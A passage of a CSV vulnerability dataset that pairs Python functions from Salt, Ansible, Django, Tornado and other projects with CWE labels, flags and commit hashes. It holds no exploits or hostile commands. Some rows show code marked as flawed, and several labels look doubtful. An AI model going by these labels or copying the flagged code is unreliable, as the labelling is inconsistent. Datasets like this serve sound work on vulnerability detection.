        tgt: Pattern string specifying the targeted minions when the implied client is local
        expr_form: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        client = 'minion'  # default to local minion client
        mode = cmd.get('mode', 'async')  # default to 'async'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']:  # master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:])  # strip prefix

        if not ('token' in cmd  or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/cli/doc.py,0,"def get_man_text(doc):

        opt_indent=""        ""
        text = []
        text.append(""> %s\n"" % doc['module'].upper())

        if isinstance(doc['description'], list):
            desc = "" "".join(doc['description'])
        else:
            desc = doc['description']

        text.append(""%s\n"" % textwrap.fill(CLI.tty_ify(desc), initial_indent=""  "", subsequent_indent=""  ""))

        if 'option_keys' in doc and len(doc['option_keys']) > 0:
            text.append(""Options (= is mandatory):\n"")

        for o in sorted(doc['option_keys']):
            opt = doc['options'][o]

            if opt.get('required', False):
                opt_leadin = ""=""
            else:
                opt_leadin = ""-""

            text.append(""%s %s"" % (opt_leadin, o))

            if isinstance(opt['description'], list):
                desc = "" "".join(opt['description'])
            else:
                desc = opt['description']

            if 'choices' in opt:
                choices = "", "".join(str(i) for i in opt['choices'])
                desc = desc + "" (Choices: "" + choices + "")""
            if 'default' in opt:
                default = str(opt['default'])
                desc = desc + "" [Default: "" + default + ""]""
            text.append(""%s\n"" % textwrap.fill(CLI.tty_ify(desc), initial_indent=opt_indent,
                                 subsequent_indent=opt_indent))

        if 'notes' in doc and doc['notes'] and len(doc['notes']) > 0:
            notes = "" "".join(doc['notes'])
            text.append(""Notes:%s\n"" % textwrap.fill(CLI.tty_ify(notes), initial_indent=""  "",
                                subsequent_indent=opt_indent))


        if 'requirements' in doc and doc['requirements'] is not None and len(doc['requirements']) > 0:
            req = "", "".join(doc['requirements'])
            text.append(""Requirements:%s\n"" % textwrap.fill(CLI.tty_ify(req), initial_indent=""  "",
                                subsequent_indent=opt_indent))

        if 'examples' in doc and len(doc['examples']) > 0:
            text.append(""Example%s:\n"" % ('' if len(doc['examples']) < 2 else 's'))
            for ex in doc['examples']:
                text.append(""%s\n"" % (ex['code']))

        if 'plainexamples' in doc and doc['plainexamples'] is not None:
            text.append(""EXAMPLES:"")
            text.append(doc['plainexamples'])
        if 'returndocs' in doc and doc['returndocs'] is not None:
            text.append(""RETURN VALUES:"")
            text.append(doc['returndocs'])
        text.append('')

        maintainers = set()
        if 'author' in doc:
            if isinstance(doc['author'], basestring):
                maintainers.add(doc['author'])
            else:
                maintainers.update(doc['author'])

        if 'maintainers' in doc:
            if isinstance(doc['maintainers'], basestring):
                maintainers.add(doc['author'])
            else:
                maintainers.update(doc['author'])

        text.append('MAINTAINERS: ' + ', '.join(maintainers))
        text.append('')

        return ""\n"".join(text)",,ansible/ansible,339790adc4ab4932a39a5c8e0264565fd92f01bf,"def get_man_text(doc):

        opt_indent=""        ""
        text = []
        text.append(""> %s\n"" % doc['module'].upper())

        if isinstance(doc['description'], list):
            desc = "" "".join(doc['description'])
        else:
            desc = doc['description']

        text.append(""%s\n"" % textwrap.fill(CLI.tty_ify(desc), initial_indent=""  "", subsequent_indent=""  ""))

        if 'option_keys' in doc and len(doc['option_keys']) > 0:
            text.append(""Options (= is mandatory):\n"")

        for o in sorted(doc['option_keys']):
            opt = doc['options'][o]

            if opt.get('required', False):
                opt_leadin = ""=""
            else:
                opt_leadin = ""-""

            text.append(""%s %s"" % (opt_leadin, o))

            if isinstance(doc['description'], list):
                desc = "" "".join(doc['description'])
            else:
                desc = doc['description']

            if 'choices' in opt:
                choices = "", "".join(str(i) for i in opt['choices'])
                desc = desc + "" (Choices: "" + choices + "")""
            if 'default' in opt:
                default = str(opt['default'])
                desc = desc + "" [Default: "" + default + ""]""
            text.append(""%s\n"" % textwrap.fill(CLI.tty_ify(desc), initial_indent=opt_indent,
                                 subsequent_indent=opt_indent))

        if 'notes' in doc and doc['notes'] and len(doc['notes']) > 0:
            notes = "" "".join(doc['notes'])
            text.append(""Notes:%s\n"" % textwrap.fill(CLI.tty_ify(notes), initial_indent=""  "",
                                subsequent_indent=opt_indent))


        if 'requirements' in doc and doc['requirements'] is not None and len(doc['requirements']) > 0:
            req = "", "".join(doc['requirements'])
            text.append(""Requirements:%s\n"" % textwrap.fill(CLI.tty_ify(req), initial_indent=""  "",
                                subsequent_indent=opt_indent))

        if 'examples' in doc and len(doc['examples']) > 0:
            text.append(""Example%s:\n"" % ('' if len(doc['examples']) < 2 else 's'))
            for ex in doc['examples']:
                text.append(""%s\n"" % (ex['code']))

        if 'plainexamples' in doc and doc['plainexamples'] is not None:
            text.append(""EXAMPLES:"")
            text.append(doc['plainexamples'])
        if 'returndocs' in doc and doc['returndocs'] is not None:
            text.append(""RETURN VALUES:"")
            text.append(doc['returndocs'])
        text.append('')

        maintainers = set()
        if 'author' in doc:
            if isinstance(doc['author'], basestring):
                maintainers.add(doc['author'])
            else:
                maintainers.update(doc['author'])

        if 'maintainers' in doc:
            if isinstance(doc['maintainers'], basestring):
                maintainers.add(doc['author'])
            else:
                maintainers.update(doc['author'])

        text.append('MAINTAINERS: ' + ', '.join(maintainers))
        text.append('')

        return ""\n"".join(text)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/user.py,0,"def create_user(self):
        cmd = [self.module.get_bin_path('useradd', True)]

        if self.uid is not None:
            cmd.append('-u')
            cmd.append(self.uid)

            if self.non_unique:
                cmd.append('-o')

        if self.group is not None:
            if not self.group_exists(self.group):
                self.module.fail_json(msg=""Group %s does not exist"" % self.group)
            cmd.append('-g')
            cmd.append(self.group)

        if self.groups is not None:
            groups = self.get_groups_set()
            cmd.append('-G')
            cmd.append(','.join(groups))

        if self.comment is not None:
            cmd.append('-c')
            cmd.append(self.comment)

        if self.home is not None:
            cmd.append('-d')
            cmd.append(self.home)

        if self.shell is not None:
            cmd.append('-s')
            cmd.append(self.shell)

        if self.createhome:
            cmd.append('-m')

            if self.skeleton is not None:
                cmd.append('-k')
                cmd.append(self.skeleton)

        cmd.append(self.name)

        (rc, out, err) = self.execute_command(cmd)
        if rc is not None and rc != 0:
            self.module.fail_json(name=self.name, msg=err, rc=rc)

        if not self.module.check_mode:
            # we have to set the password by editing the /etc/shadow file
            if self.password is not None:
                minweeks, maxweeks, warnweeks = self.get_password_defaults()
                try:
                    lines = []
                    for line in open(self.SHADOWFILE, 'rb').readlines():
                        line = to_native(line, errors='surrogate_or_strict')
                        fields = line.strip().split(':')
                        if not fields[0] == self.name:
                            lines.append(line)
                            continue
                        fields[1] = self.password
                        fields[2] = str(int(time.time() / 86400))
                        if minweeks:
                            fields[3] = str(int(minweeks) * 7)
                        if maxweeks:
                            fields[4] = str(int(maxweeks) * 7)
                        if warnweeks:
                            fields[5] = str(int(warnweeks) * 7)
                        line = ':'.join(fields)
                        lines.append('%s\n' % line)
                    open(self.SHADOWFILE, 'w+').writelines(lines)
                except Exception:
                    err = get_exception()
                    self.module.fail_json(msg=""failed to update users password: %s"" % str(err))

        return (rc, out, err)",,ansible/ansible,75facf5324070b3448416f5c242d5e1a02f3690f,"def create_user(self):
        cmd = [self.module.get_bin_path('useradd', True)]

        if self.uid is not None:
            cmd.append('-u')
            cmd.append(self.uid)

            if self.non_unique:
                cmd.append('-o')

        if self.group is not None:
            if not self.group_exists(self.group):
                self.module.fail_json(msg=""Group %s does not exist"" % self.group)
            cmd.append('-g')
            cmd.append(self.group)

        if self.groups is not None:
            groups = self.get_groups_set()
            cmd.append('-G')
            cmd.append(','.join(groups))

        if self.comment is not None:
            cmd.append('-c')
            cmd.append(self.comment)

        if self.home is not None:
            cmd.append('-d')
            cmd.append(self.home)

        if self.shell is not None:
            cmd.append('-s')
            cmd.append(self.shell)

        if self.createhome:
            cmd.append('-m')

            if self.skeleton is not None:
                cmd.append('-k')
                cmd.append(self.skeleton)

        cmd.append(self.name)

        (rc, out, err) = self.execute_command(cmd)
        if rc is not None and rc != 0:
            self.module.fail_json(name=self.name, msg=err, rc=rc)

        if not self.module.check_mode:
            # we have to set the password by editing the /etc/shadow file
            if self.password is not None:
                minweeks, maxweeks, warnweeks = self.get_password_defaults()
                try:
                    lines = []
                    for line in open(self.SHADOWFILE, 'rb').readlines():
                        fields = line.strip().split(':')
                        if not fields[0] == self.name:
                            lines.append(line)
                            continue
                        fields[1] = self.password
                        fields[2] = str(int(time.time() / 86400))
                        if minweeks:
                            fields[3] = str(int(minweeks) * 7)
                        if maxweeks:
                            fields[4] = str(int(maxweeks) * 7)
                        if warnweeks:
                            fields[5] = str(int(warnweeks) * 7)
                        line = ':'.join(fields)
                        lines.append('%s\n' % line)
                    open(self.SHADOWFILE, 'w+').writelines(lines)
                except Exception:
                    err = get_exception()
                    self.module.fail_json(msg=""failed to update users password: %s"" % str(err))

        return (rc, out, err)"
,UNKNOWN,UNKNOWN,tests/utils/test_rest_utils.py,1,"def test_databricks_params_token(get_config):
    get_config.return_value = \
        DatabricksConfig(""host"", None, None, ""mytoken"", insecure=False)
    params = rest_utils.get_databricks_http_request_kwargs_or_fail()
    assert params == {
        'hostname': 'host',
        'headers': {
            'Authorization': 'Bearer mytoken'
        },
        'verify': True,
    }",CWE-703,mlflow/mlflow,6ceb83cddfe366db37ca49f5657b9a0c500177bc,"def test_databricks_params_token(get_config):
    get_config.return_value = \
        DatabricksConfig(""host"", None, None, ""mytoken"", insecure=False)
    params = rest_utils.get_databricks_http_request_kwargs_or_fail()
    assert params == {
        'hostname': 'host',
        'headers': {
            'Authorization': 'Basic dG9rZW46bXl0b2tlbg=='
        },
        'verify': True,
    }"
,UNKNOWN,UNKNOWN,tools/utils/gh.py,1,"def download_onedir_artifact(
    ctx: Context,
    run_id: int = None,
    platform: str = None,
    arch: str = ""x86_64"",
    repository: str = ""saltstack/salt"",
) -> int:
    """"""
    Download CI onedir artifacts.
    """"""
    if TYPE_CHECKING:
        assert run_id is not None
        assert platform is not None

    if platform == ""windows"":
        if arch in (""x64"", ""x86_64""):
            ctx.info(f""Turning passed arch {arch!r} into 'amd64'"")
            arch = ""amd64""
        if arch not in (""amd64"", ""x86""):
            ctx.error(
                ""The allowed values for '--arch' on Windows are 'amd64' and 'x86'""
            )
            return ExitCode.FAIL
    else:
        if arch == ""aarch64"":
            ctx.info(f""Turning passed arch {arch!r} into 'arm64'"")
            arch = ""arm64""
        elif arch == ""x64"":
            ctx.info(f""Turning passed arch {arch!r} into 'x86_64'"")
            arch = ""x86_64""
        if arch not in (""x86_64"", ""arm64""):
            ctx.error(
                f""The allowed values for '--arch' on {platform.title()} are 'x86_64' or 'arm64'""
            )
            return ExitCode.FAIL
    artifacts_path = tools.utils.REPO_ROOT / ""artifacts""
    artifacts_path.mkdir(exist_ok=True)
    if artifacts_path.joinpath(""salt"").exists():
        ctx.warn(
            ""The 'artifacts/salt' directory already exists ... Stopped processing.""
        )
        return ExitCode.SOFT_FAIL
    artifact_name = f""salt-*-onedir-{platform}-{arch}""
    if sys.platform.startswith(""win""):
        artifact_name += "".zip""
    else:
        artifact_name += "".tar.xz""
    ctx.info(
        f""Searching for artifact {artifact_name} from run_id {run_id} in repository {repository} ...""
    )
    found_artifact_name = download_artifact(
        ctx,
        dest=artifacts_path,
        run_id=run_id,
        artifact_name=artifact_name,
        repository=repository,
    )
    if found_artifact_name is None:
        return ExitCode.FAIL
    found_artifact_path = artifacts_path / found_artifact_name
    checksum_algo = ""sha512""
    ctx.info(f""Validating {found_artifact_name!r} {checksum_algo} checksum ..."")
    artifact_expected_checksum = (
        artifacts_path.joinpath(f""{found_artifact_name}.{checksum_algo.upper()}"")
        .read_text()
        .strip()
    )
    artifact_checksum = tools.utils.get_file_checksum(
        found_artifact_path, checksum_algo
    )
    if artifact_expected_checksum != artifact_checksum:
        ctx.error(f""The {checksum_algo} checksum does not match"")
        ctx.error(f""{artifact_checksum!r} != {artifact_expected_checksum!r}"")
        return ExitCode.FAIL

    ctx.info(
        f""Decompressing {found_artifact_name!r} to {artifacts_path.relative_to(tools.utils.REPO_ROOT)}{os.path.sep} ...""
    )
    if found_artifact_path.suffix == "".zip"":
        with zipfile.ZipFile(found_artifact_path) as zfile:
            zfile.extractall(path=artifacts_path)
    else:
        ctx.run(""tar"", ""xf"", found_artifact_name, cwd=artifacts_path)

    return ExitCode.OK","CWE-22, CWE-703",saltstack/salt,be2e1f21c09eedb31cce9da64dd379996b5d7cf8,"def download_onedir_artifact(
    ctx: Context,
    run_id: int = None,
    platform: str = None,
    arch: str = ""x86_64"",
    repository: str = ""saltstack/salt"",
) -> int:
    """"""
    Download CI onedir artifacts.
    """"""
    if TYPE_CHECKING:
        assert run_id is not None
        assert platform is not None

    if platform == ""windows"":
        if arch in (""x64"", ""x86_64""):
            ctx.info(f""Turning passed arch {arch!r} into 'amd64'"")
            arch = ""amd64""
        if arch not in (""amd64"", ""x86""):
            ctx.error(
                ""The allowed values for '--arch' on Windows are 'amd64' and 'x86'""
            )
            return ExitCode.FAIL
    else:
        if arch == ""arm64"":
            ctx.info(f""Turning passed arch {arch!r} into 'aarch64'"")
            arch = ""aarch64""
        elif arch == ""x64"":
            ctx.info(f""Turning passed arch {arch!r} into 'x86_64'"")
            arch = ""x86_64""
        if arch not in (""x86_64"", ""aarch64""):
            ctx.error(
                f""The allowed values for '--arch' on {platform.title()} are 'x86_64', 'aarch64' or 'arm64'""
            )
            return ExitCode.FAIL
    artifacts_path = tools.utils.REPO_ROOT / ""artifacts""
    artifacts_path.mkdir(exist_ok=True)
    if artifacts_path.joinpath(""salt"").exists():
        ctx.warn(
            ""The 'artifacts/salt' directory already exists ... Stopped processing.""
        )
        return ExitCode.SOFT_FAIL
    artifact_name = f""salt-*-onedir-{platform}-{arch}""
    if sys.platform.startswith(""win""):
        artifact_name += "".zip""
    else:
        artifact_name += "".tar.xz""
    ctx.info(
        f""Searching for artifact {artifact_name} from run_id {run_id} in repository {repository} ...""
    )
    found_artifact_name = download_artifact(
        ctx,
        dest=artifacts_path,
        run_id=run_id,
        artifact_name=artifact_name,
        repository=repository,
    )
    if found_artifact_name is None:
        return ExitCode.FAIL
    found_artifact_path = artifacts_path / found_artifact_name
    checksum_algo = ""sha512""
    ctx.info(f""Validating {found_artifact_name!r} {checksum_algo} checksum ..."")
    artifact_expected_checksum = (
        artifacts_path.joinpath(f""{found_artifact_name}.{checksum_algo.upper()}"")
        .read_text()
        .strip()
    )
    artifact_checksum = tools.utils.get_file_checksum(
        found_artifact_path, checksum_algo
    )
    if artifact_expected_checksum != artifact_checksum:
        ctx.error(f""The {checksum_algo} checksum does not match"")
        ctx.error(f""{artifact_checksum!r} != {artifact_expected_checksum!r}"")
        return ExitCode.FAIL

    ctx.info(
        f""Decompressing {found_artifact_name!r} to {artifacts_path.relative_to(tools.utils.REPO_ROOT)}{os.path.sep} ...""
    )
    if found_artifact_path.suffix == "".zip"":
        with zipfile.ZipFile(found_artifact_path) as zfile:
            zfile.extractall(path=artifacts_path)
    else:
        ctx.run(""tar"", ""xf"", found_artifact_name, cwd=artifacts_path)

    return ExitCode.OK"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/s3_sync.py,1,"def calculate_multipart_etag(source_path, chunk_size=DEFAULT_CHUNK_SIZE):

    """"""
    calculates a multipart upload etag for amazon s3

    Arguments:

    source_path -- The file to calculate the etag for
    chunk_size -- The chunk size to calculate for.
    """"""

    md5s = []

    with open(source_path, 'rb') as fp:
        while True:

            data = fp.read(chunk_size)

            if not data:
                break
            md5s.append(hashlib.md5(data))

    if len(md5s) == 1:
        new_etag = '""{0}""'.format(md5s[0].hexdigest())
    else:  # > 1
        digests = b"""".join(m.digest() for m in md5s)

        new_md5 = hashlib.md5(digests)
        new_etag = '""{0}-{1}""'.format(new_md5.hexdigest(), len(md5s))

    return new_etag",CWE-327,ansible/ansible,7c366f5cbd3d99757ac0744c2deba7c48023bb63,"def calculate_multipart_etag(source_path, chunk_size=DEFAULT_CHUNK_SIZE):

    """"""
    calculates a multipart upload etag for amazon s3

    Arguments:

    source_path -- The file to calculate the etag for
    chunk_size -- The chunk size to calculate for.
    """"""

    md5s = []

    with open(source_path, 'rb') as fp:
        while True:

            data = fp.read(chunk_size)

            if not data:
                break
            md5s.append(hashlib.md5(data))

    if len(md5s) == 1:
        new_etag = '""{}""'.format(md5s[0].hexdigest())
    else:  # > 1
        digests = b"""".join(m.digest() for m in md5s)

        new_md5 = hashlib.md5(digests)
        new_etag = '""{}-{}""'.format(new_md5.hexdigest(), len(md5s))

    return new_etag"
,UNKNOWN,UNKNOWN,tornado/web.py,1,"def get(self, path, include_body=True):
        # Set up our path instance variables.
        self.path = self.parse_url_path(path)
        del path  # make sure we don't refer to path instead of self.path again
        absolute_path = self.get_absolute_path(self.settings, self.path)
        self.absolute_path = self.validate_absolute_path(absolute_path)
        if self.absolute_path is None:
            return

        self.modified = self.get_modified_time()
        self.set_headers()

        if self.should_return_304():
            self.set_status(304)
            return

        request_range = None
        range_header = self.request.headers.get(""Range"")
        if range_header:
            request_range = httputil._parse_request_range(range_header)
            if not request_range:
                self.set_status(416)  # Range Not Satisfiable
                self.set_header(""Content-Type"", ""text/plain"")
                self.write(""The provided Range header is not valid: %r\n""
                           ""Note: multiple ranges are not supported.""
                           % range_header)
                return

        data = self.get_content(self.absolute_path)
        if request_range:
            self.set_status(206)  # Partial Content
            content_range = httputil._get_content_range(data, request_range)
            self.set_header(""Content-Range"", content_range)
            data = data[request_range]
        if include_body:
            self.write(data)
        else:
            assert self.request.method == ""HEAD""
            self.set_header(""Content-Length"", len(data))",CWE-703,tornadoweb/tornado,1ccf71a5b9d4f2c33705d3306ffc42e0e051046f,"def get(self, path, include_body=True):
        # Set up our path instance variables.
        self.path = self.parse_url_path(path)
        del path  # make sure we don't refer to path instead of self.path again
        absolute_path = self.get_absolute_path(self.settings, self.path)
        self.absolute_path = self.validate_absolute_path(absolute_path)

        self.modified = self.get_modified_time()
        self.set_headers()

        if self.should_return_304():
            self.set_status(304)
            return

        request_range = None
        range_header = self.request.headers.get(""Range"")
        if range_header:
            request_range = httputil._parse_request_range(range_header)
            if not request_range:
                self.set_status(416)  # Range Not Satisfiable
                self.set_header(""Content-Type"", ""text/plain"")
                self.write(""The provided Range header is not valid: %r\n""
                           ""Note: multiple ranges are not supported.""
                           % range_header)
                return

        data = self.get_content(self.absolute_path)
        if request_range:
            self.set_status(206)  # Partial Content
            content_range = httputil._get_content_range(data, request_range)
            self.set_header(""Content-Range"", content_range)
            data = data[request_range]
        if include_body:
            self.write(data)
        else:
            assert self.request.method == ""HEAD""
            self.set_header(""Content-Length"", len(data))"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_proxy_authorization_preserved_on_request(self, httpbin):
        proxy_auth_value = ""Bearer XXX""
        session = requests.Session()
        session.headers.update({""Proxy-Authorization"": proxy_auth_value})
        resp = session.request(method=""GET"", url=httpbin(""get""))
        sent_headers = resp.json().get(""headers"", {})

        assert sent_headers.get(""Proxy-Authorization"") == proxy_auth_value",CWE-703,psf/requests,6e5b15d542a4e85945fd72066bb6cecbc3a82191,"def test_proxy_authorization_preserved_on_request(self, httpbin):
        proxy_auth_value = ""Bearer XXX""
        session = requests.Session()
        session.headers.update({""Proxy-Authorization"": proxy_auth_value})
        resp = session.request(method=""GET"", url=httpbin(""get""))
        sent_headers = resp.json().get(""headers"", {})

        assert sent_headers.get(""Proxy-Authorization"") == proxy_auth_value"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/selinux.py,0,"def list_semod():
    '''
    Return a structure listing all of the selinux modules on the system and
    what state they are in

    CLI Example:

    .. code-block:: bash

        salt '*' selinux.list_semod

    .. versionadded:: 2016.3.0
    '''
    helptext = __salt__['cmd.run']('semodule -h').splitlines()
    semodule_version = ''
    for line in helptext:
        if line.strip().startswith('full'):
            semodule_version = 'new'

    if semodule_version == 'new':
        mdata = __salt__['cmd.run']('semodule -lfull').splitlines()
        ret = {}
        for line in mdata:
            if not line.strip():
                continue
            comps = line.split()
            if len(comps) == 4:
                ret[comps[1]] = {'Enabled': False,
                                 'Version': None}
            else:
                ret[comps[1]] = {'Enabled': True,
                                 'Version': None}
    else:
        mdata = __salt__['cmd.run']('semodule -l').splitlines()
        ret = {}
        for line in mdata:
            if not line.strip():
                continue
            comps = line.split()
            if len(comps) == 3:
                ret[comps[0]] = {'Enabled': False,
                                 'Version': comps[1]}
            else:
                ret[comps[0]] = {'Enabled': True,
                                 'Version': comps[1]}
    return ret",,saltstack/salt,371b0a86d91ebf437bb399ecde67d6e8659bd5d3,"def list_semod():
    '''
    Return a structure listing all of the selinux modules on the system and
    what state they are in

    CLI Example:

    .. code-block:: bash

        salt '*' selinux.list_semod

    .. versionadded:: 2016.3.0
    '''
    mdata = __salt__['cmd.run']('semodule -l').splitlines()
    ret = {}
    for line in mdata[1:]:
        if not line.strip():
            continue
        comps = line.split()
        if len(comps) == 3:
            ret[comps[0]] = {'Enabled': False,
                             'Version': comps[1]}
        else:
            ret[comps[0]] = {'Enabled': True,
                             'Version': comps[1]}
    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/crypt.py,0,"def __init__(self, opts, key_string, key_size=192, serial=0):
        self.key_string = key_string
        self.keys = self.extract_keys(self.key_string, key_size)
        self.key_size = key_size
        self.serial = serial",,saltstack/salt,af2c268347032a2ecbdffa82f98987fea473ce59,"def __init__(self, opts, key_string, key_size=192, serial=0):
        self.key_string = key_string
        self.keys = self.extract_keys(self.key_string, key_size)
        self.key_size = key_size
        self.serial = serial"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/sanity/code-smell/integration-aliases.py,0,"def main():
    targets_dir = 'test/integration/targets'

    with open('test/integration/target-prefixes.network', 'r') as prefixes_fd:
        network_prefixes = prefixes_fd.read().splitlines()

    missing_aliases = []

    for target in sorted(os.listdir(targets_dir)):
        target_dir = os.path.join(targets_dir, target)
        aliases_path = os.path.join(target_dir, 'aliases')
        files = sorted(os.listdir(target_dir))

        # aliases already defined
        if os.path.exists(aliases_path):
            continue

        # don't require aliases for support directories
        if any(os.path.splitext(f)[0] == 'test' and os.access(os.path.join(target_dir, f), os.X_OK) for f in files):
            continue

        # don't require aliases for setup_ directories
        if target.startswith('setup_'):
            continue

        # don't require aliases for prepare_ directories
        if target.startswith('prepare_'):
            continue

        # TODO: remove this exclusion once the `ansible-test network-integration` command is working properly
        # don't require aliases for network modules
        if any(target.startswith('%s_' % prefix) for prefix in network_prefixes):
            continue

        missing_aliases.append(target_dir)

    if missing_aliases:
        message = textwrap.dedent('''
        The following integration target directories are missing `aliases` files:

        %s

        If these tests cannot be run as part of CI (requires external services, unsupported dependencies, etc.),
        then they most likely belong in `test/integration/roles/` instead of `test/integration/targets/`.
        In that case, do not add an `aliases` file. Instead, just relocate the tests.

        However, if you think that the tests should be able to be supported by CI, please discuss test
        organization with @mattclay or @gundalow on GitHub or #ansible-devel on IRC.

        If these tests can be run as part of CI, you'll need to add an appropriate CI alias, such as:

        posix/ci/group1
        windows/ci/group2

        The CI groups are used to balance tests across multiple jobs to minimize test run time.
        Using the relevant `group1` entry is fine in most cases. Groups can be changed later to redistribute tests.

        Aliases can also be used to express test requirements:

        needs/privileged
        needs/root
        needs/ssh

        Other aliases are used to skip tests under certain conditions:

        skip/freebsd
        skip/osx
        skip/python3

        Take a look at existing `aliases` files to see what aliases are available and how they're used.
        ''').strip() % '\n'.join(missing_aliases)

        print(message)

        exit(1)",,ansible/ansible,cba91c7f44e0cf8a45838c804d690c47dbe5e12f,"def main():
    targets_dir = 'test/integration/targets'

    with open('test/integration/target-prefixes.network', 'r') as prefixes_fd:
        network_prefixes = prefixes_fd.read().splitlines()

    missing_aliases = []

    for target in sorted(os.listdir(targets_dir)):
        target_dir = os.path.join(targets_dir, target)
        aliases_path = os.path.join(target_dir, 'aliases')
        files = sorted(os.listdir(target_dir))

        # aliases already defined
        if os.path.exists(aliases_path):
            continue

        # don't require aliases for support directories
        if any(os.path.splitext(f)[0] == 'test' and os.access(os.path.join(target_dir, f), os.X_OK) for f in files):
            continue

        # don't require aliases for setup_ directories
        if target.startswith('setup_'):
            continue

        # don't require aliases for prepare_ directories
        if target.startswith('prepare_'):
            continue

        # TODO: remove this exclusion once the `ansible-test network-integration` command is working properly
        # don't require aliases for network modules
        if any(target.startswith('%s_' % prefix) for prefix in network_prefixes):
            continue

        missing_aliases.append(target_dir)

    if missing_aliases:
        message = textwrap.dedent('''
        The following integration target directories are missing `aliases` files:

        %s

        Unless a test cannot run as part of CI, you'll want to add an appropriate CI alias, such as:

        posix/ci/group1
        windows/ci/group2

        The CI groups are used to balance tests across multiple jobs to minimize test run time.

        Aliases can also be used to express test requirements:

        needs/privileged
        needs/root
        needs/ssh

        Other aliases are used to skip tests under certain conditions:

        skip/freebsd
        skip/osx
        skip/python3

        Take a look at existing `aliases` files to see what aliases are available and how they're used.
        ''').strip() % '\n'.join(missing_aliases)

        print(message)

        exit(1)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/handlers/wsgi.py,0,"def __init__(self, environ):
        script_name = base.get_script_name(environ)
        path_info = base.get_path_info(environ)
        if not path_info:
            # Sometimes PATH_INFO exists, but is empty (e.g. accessing
            # the SCRIPT_NAME URL without a trailing slash). We really need to
            # operate as if they'd requested '/'. Not amazingly nice to force
            # the path like this, but should be harmless.
            path_info = '/'
        self.environ = environ
        self.path_info = path_info
        self.path = '%s/%s' % (script_name.rstrip('/'), path_info.lstrip('/'))
        self.META = environ
        self.META['PATH_INFO'] = path_info
        self.META['SCRIPT_NAME'] = script_name
        self.method = environ['REQUEST_METHOD'].upper()
        _, content_params = self._parse_content_type(self.META.get('CONTENT_TYPE', ''))
        if 'charset' in content_params:
            try:
                codecs.lookup(content_params['charset'])
            except LookupError:
                pass
            else:
                self.encoding = content_params['charset']
        self._post_parse_error = False
        try:
            content_length = int(self.environ.get('CONTENT_LENGTH'))
        except (ValueError, TypeError):
            content_length = 0
        self._stream = LimitedStream(self.environ['wsgi.input'], content_length)
        self._read_started = False
        self.resolver_match = None",CWE-Unknown,django/django,b21e96d00d12f8467d61b15a943994b303504e0e,"def __init__(self, environ):
        script_name = base.get_script_name(environ)
        path_info = base.get_path_info(environ)
        if not path_info:
            # Sometimes PATH_INFO exists, but is empty (e.g. accessing
            # the SCRIPT_NAME URL without a trailing slash). We really need to
            # operate as if they'd requested '/'. Not amazingly nice to force
            # the path like this, but should be harmless.
            path_info = '/'
        self.environ = environ
        self.path_info = path_info
        self.path = '%s/%s' % (script_name.rstrip('/'), path_info.lstrip('/'))
        self.META = environ
        self.META['PATH_INFO'] = path_info
        self.META['SCRIPT_NAME'] = script_name
        self.method = environ['REQUEST_METHOD'].upper()
        _, content_params = self._parse_content_type(self.META.get('CONTENT_TYPE', ''))
        if 'charset' in content_params:
            try:
                codecs.lookup(content_params['charset'])
            except LookupError:
                pass
            else:
                self.encoding = content_params['charset']
        self._post_parse_error = False
        try:
            content_length = int(self.environ.get('CONTENT_LENGTH'))
        except (ValueError, TypeError):
            content_length = 0
        self._stream = LimitedStream(self.environ['wsgi.input'], content_length)
        self._read_started = False"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_event_log_endpoint.py,1,"def test_should_respond_404(self):
        response = self.client.get(""/api/v1/eventLogs/1"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 404
        assert response.json == {
            ""detail"": None,
            ""status"": 404,
            ""title"": ""Event Log not found"",
            ""type"": EXCEPTIONS_LINK_MAP[404],
        }",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_respond_404(self):
        response = self.client.get(""/api/v1/eventLogs/1"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 404
        assert {
            ""detail"": None,
            ""status"": 404,
            ""title"": ""Event Log not found"",
            ""type"": EXCEPTIONS_LINK_MAP[404],
        } == response.json"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/schema.py,1,"def _get_default_collation(self, table_name):
        with self.connection.cursor() as cursor:
            cursor.execute(
                """"""
                SELECT default_collation FROM user_tables WHERE table_name = %s
                """""",
                [self.normalize_name(table_name)],
            )
            return cursor.fetchone()[0]",CWE-89,django/django,ab1955a05e369337c3eaad1a2d34de346932179d,"def _get_default_collation(self, table_name):
        with self.connection.cursor() as cursor:
            cursor.execute(
                """"""
                SELECT default_collation FROM user_tables WHERE table_name = %s
                """""",
                [self.normalize_name(table_name)],
            )
            return cursor.fetchone()[0]"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/common.py,0,"def get_kernel_addrs(obj_ref):
    import volatility.plugins.mac.lsmod as lsmod
    # all the known addresses in the kernel
    # TODO -- make more stringent and get only symbols from .text
    kernel_symbol_addresses = obj_ref.profile.get_all_addresses()
    
    # module addresses, tuple of (start, end)
    # TODO -- make sure more stringent and parse each kext in-memory so we only allow whitelist from .text
